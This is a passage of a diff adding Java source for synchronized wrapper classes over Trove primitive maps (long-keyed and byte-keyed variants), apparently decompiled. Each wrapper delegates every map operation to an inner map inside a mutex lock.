+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(long key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TLongByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(long key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(long key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongShortMap
+    implements TLongShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TLongShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongShortMap(TLongShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongShortMap(TLongShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(long key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TLongShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(long key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(long key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongCharMap
+    implements gnu.trove.map.TLongCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TLongCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongCharMap(gnu.trove.map.TLongCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongCharMap(gnu.trove.map.TLongCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(long key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TLongCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(long key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(long key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteDoubleMap
+    implements TByteDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TByteDoubleMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteDoubleMap(TByteDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteDoubleMap(TByteDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(byte key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TByteDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(byte key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(byte key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteFloatMap
+    implements TByteFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TByteFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteFloatMap(TByteFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteFloatMap(TByteFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(byte key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TByteFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(byte key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(byte key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteIntMap
+    implements TByteIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TByteIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteIntMap(TByteIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteIntMap(TByteIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(byte key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TByteIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(byte key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(byte key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteLongMap
+    implements gnu.trove.map.TByteLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TByteLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteLongMap(gnu.trove.map.TByteLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteLongMap(gnu.trove.map.TByteLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(byte key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TByteLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(byte key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(byte key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteByteMap
+    implements TByteByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TByteByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteByteMap(TByteByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteByteMap(TByteByteMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(byte key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TByteByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(byte key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(byte key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
